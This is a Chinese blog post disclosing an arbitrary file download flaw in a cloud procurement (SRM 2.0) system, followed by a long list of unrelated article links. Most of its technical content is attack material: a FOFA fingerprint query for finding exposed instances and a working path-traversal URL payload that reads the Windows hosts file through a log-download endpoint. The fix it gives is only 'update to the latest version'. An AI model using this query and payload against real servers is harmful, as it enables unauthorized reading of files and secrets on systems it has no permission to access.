当前位置: 首页 > news >正文

某云彩SRM2.0任意文件下载漏洞

文章目录

    • 免责申明
    • 搜索语法
    • 漏洞描述
    • 漏洞复现
    • 修复建议

免责申明

本文章仅供学习与交流,请勿用于非法用途,均由使用者本人负责,文章作者不为此承担任何责任

搜索语法

fofa

icon_hash="1665918155"

在这里插入图片描述

漏洞描述

某云采 SRM2.0是一款先进的供应链管理系统,旨在优化企业的采购流程和供应商管理。该系统通过云端技术,提供实时的数据分析和智能决策支持,帮助企业提高采购效率和降低成本。
该系统download在接口处存在任意文件下载漏洞

漏洞复现

payload

http://ip/adpweb/static/%2e%2e;/a/sys/runtimeLog/download?path=C:\Windows\System32\drivers\etc\hosts

在这里插入图片描述
在这里插入图片描述

修复建议

更新到最新版本

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • OpenGL知识点记录
  • 使用 GZCTF 结合 GitHub 仓库搭建独立容器与动态 Flag 的 CTF 靶场+基于 Docker 的 Web 出题与部署+容器权限控制
  • RabbitMQ 入门教程
  • 把时间当作朋友
  • Hive时间窗口函数保姆级教程(最全解析、应用和优化)(持续更新)
  • C语言学习笔记 Day16(C10文件管理--下)
  • 《机器学习》文本数据分析之关键词提取、TF-IDF、项目实现 <上>
  • 移情别恋c++ ദ്ദി˶ー̀֊ー́ ) ——10.继承
  • CCF-CSP 2024 --重塑矩阵1,2c语言题解
  • 网络编程9.3
  • 基础学习之——Kubernetes
  • vscode好用的快捷键整理~
  • 基础学习之——Docker Compose的安装和使用
  • 不管夫妻还是情人,想要长相厮守、生活幸福美满,就这两个字!
  • 宁波银行资产规模首超3万亿,高成长性被机构清一色看好
  • 《网管员必读——网络组建》(第2版)电子课件下载
  • 【刷算法】从上往下打印二叉树
  • CentOS7 安装JDK
  • css系列之关于字体的事
  • FastReport在线报表设计器工作原理
  • java B2B2C 源码多租户电子商城系统-Kafka基本使用介绍
  • JavaScript/HTML5图表开发工具JavaScript Charts v3.19.6发布【附下载】
  • JavaScript服务器推送技术之 WebSocket
  • Java比较器对数组,集合排序
  • spring boot 整合mybatis 无法输出sql的问题
  • 设计模式 开闭原则
  • 数据结构java版之冒泡排序及优化
  • 算法系列——算法入门之递归分而治之思想的实现
  • 云栖大讲堂Java基础入门(三)- 阿里巴巴Java开发手册介绍
  • 在electron中实现跨域请求,无需更改服务器端设置
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • 7行Python代码的人脸识别
  • ## 1.3.Git命令
  • (2024)docker-compose实战 (8)部署LAMP项目(最终版)
  • (3)llvm ir转换过程
  • (JSP)EL——优化登录界面,获取对象,获取数据
  • (MTK)java文件添加简单接口并配置相应的SELinux avc 权限笔记2
  • (二十九)STL map容器(映射)与STL pair容器(值对)
  • (附源码)计算机毕业设计ssm本地美食推荐平台
  • (考研湖科大教书匠计算机网络)第一章概述-第五节1:计算机网络体系结构之分层思想和举例
  • (文章复现)基于主从博弈的售电商多元零售套餐设计与多级市场购电策略
  • (原創) 人會胖會瘦,都是自我要求的結果 (日記)
  • (转) SpringBoot:使用spring-boot-devtools进行热部署以及不生效的问题解决
  • .bat批处理(九):替换带有等号=的字符串的子串
  • .L0CK3D来袭:如何保护您的数据免受致命攻击
  • .NET Core MongoDB数据仓储和工作单元模式封装
  • .NET Core中Emit的使用
  • .NET Framework .NET Core与 .NET 的区别
  • .net遍历html中全部的中文,ASP.NET中遍历页面的所有button控件
  • .Net调用Java编写的WebServices返回值为Null的解决方法(SoapUI工具测试有返回值)
  • .net开发引用程序集提示没有强名称的解决办法
  • /*在DataTable中更新、删除数据*/
  • ::
  • [ C++ ] 继承
  • [ MSF使用实例 ] 利用永恒之蓝(MS17-010)漏洞导致windows靶机蓝屏并获取靶机权限